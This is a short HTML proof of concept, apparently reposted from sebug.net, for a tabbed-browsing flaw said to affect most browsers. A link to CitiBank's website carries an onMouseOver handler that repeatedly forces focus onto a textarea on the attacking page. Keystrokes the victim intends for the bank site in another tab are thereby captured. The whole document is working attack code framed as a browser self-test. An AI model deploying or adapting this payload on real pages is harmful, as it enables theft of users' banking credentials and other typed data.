Multiple (Almost all) Browsers Tabbed Browsing Vulnerabilities

                                                <b>Test Your Browser</b><br> 
      <br> 
      Open the link below in a new tab, then try to type data into form fields on the CitiBank website.<br> 
      <br> 
      <a href="http://www.citibank.com/" onMouseOver="setInterval('document.myform.userinput.focus();', 10);">Open this Link in New Tab</a><br> 
      <br> 
      <form name="myform"> 
        <b>Result: (Keystrokes you pressed on the CitiBank website.)</b><br> 
        <textarea name="userinput" rows="3"></textarea> 
      </form> 

// sebug.net